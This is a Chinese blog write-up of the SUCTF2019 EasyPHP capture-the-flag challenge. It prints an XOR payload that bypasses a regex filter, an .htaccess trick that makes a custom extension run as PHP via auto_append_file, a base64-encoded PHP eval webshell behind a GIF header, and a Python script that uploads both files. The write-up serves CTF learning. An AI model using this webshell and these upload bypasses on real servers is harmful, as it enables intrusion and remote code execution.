CTF Web安全

SUCTF2019 EasyPHP

Posted on 2020-01-17,3 min read


要getflag。首先就要绕过正则。通过构造字符串。进入get_the_flag函数。才能进入下一步
过滤了取反什么的。没过滤异或。异或构造get_the_flag。

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
通过GET传参调用。长度最小。

进入下一关。文件上传
1:首先会创建一个沙盒。然后判断后缀名。不能是ph开头的
2:并且判断文件内不能有<?。script一句话。只能在PHP5的时候用。这个版本是PHP7。也不行
3:exif_imagetype判断是否是文件。如果是才能上传
apache环境。就上传.htaccess
nginx环境。就上传.user.ini
这里构造一个绕过文件头检测的.htaccess

#define width 1
#define height 1
AddType application/x-httpd-php .abc
#定义abc后缀文件解析为php
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.abc"
#由于不能上传带有<?的文件。我们就将文件内容base64解码。然后自动加载给每个文件

构造一个绕过文件头的base64加密一句话

GIF89a00PD9waHAgQGV2YWwoJF9QT1NUWyIxMjMiXSk7Pz4=
GIF89a用户绕过文件头检测。由于BASE64解码时。需要8个位一组。如果所有字符串不能被8整除。就不能正常解密。所以我们需要加2个字节。配合GIF89a(6个字节)凑成8个字节。然后后面是Base64的一句话


然后。将这两个文件上传。这里使用python的requests库上传。也可以本地写个html页面

import requests
import base64

url = "http://c1fe2761-ed82-4465-8630-499194aa8d35.node3.buuoj.cn/"
payload = "?_=${%81%81%81%81^%de%c6%c4%d5}{%81}();&%81=get_the_flag"
shell = b"\x00\x00\x47\x49\x46\x38\x39\x61"+b"11"+base64.b64encode(b'<?php @eval($_POST["123"]);?>')
#一句话
print(shell)
htaccess = b"""#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.abc"
"""
#.htaccess
files = {'file': ('shell.abc', shell, 'image/gif')}
#上传一句话
r = requests.post(url + payload, files=files)
files = {'file': ('.htaccess', htaccess, 'image/gif')}
r = requests.post(url + payload, files=files)
#上传.htaccess
print(r.text)

phpinfo看下禁用


又是open_basedir。。exp一把梭
这个exp不用创建文件夹。。不知道为什么。ubuntu上复现。我就必须要先创建文件夹。这个题目。必须chdir一个不存在的文件夹。。

下一篇: [RoarCTF 2019]Easy Calc(PHP字符串特性+HTTP走私)→